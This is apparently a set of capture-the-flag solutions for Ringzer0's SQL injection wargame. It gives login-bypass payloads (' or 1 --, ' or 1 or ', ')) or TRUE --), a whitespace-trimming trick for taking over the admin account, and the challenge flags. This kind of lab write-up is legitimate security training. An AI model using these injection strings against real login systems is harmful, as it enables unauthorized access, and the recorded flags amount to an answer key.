This folder contains solutions for the Sqlinjection wargame from Ringzer0.
here, i saw it send on post method our user.
so, i send using burp-suite this user: ' or 1 --
Flag: FLAG-sdfoip340e89rfuj34woit
here we can’t send ;, --, #
and every other comment character. so, let’s send this as username: ' or 1 or '
and password anything else, for example, a
Flag: FLAG-4f885o1dal0q1huj6eaxuatcvn
here we give username: ' or 1 --
and password b
.
Flag: FLAG-238974289383274893
This is the query:
SELECT * FROM users WHERE (username = ('$username') AND ...
so, let’s give this input: ')) or 1 --
however, i get this error, because this is PostgresSQL
so, let’s give it true value instead of 1:
')) or TRUE --
Flag: FLAG-mdeq68jNN88xLB1o2m8V33Ld
here we need to connect as admin, so i created this user: ` admin, and the password is
123`.
Then, when i login with this username, he recognize me as the admin, because it strips the spaces.
Flag: FLAG-0Kg64o8M9gPQfH45583Mc0jc3u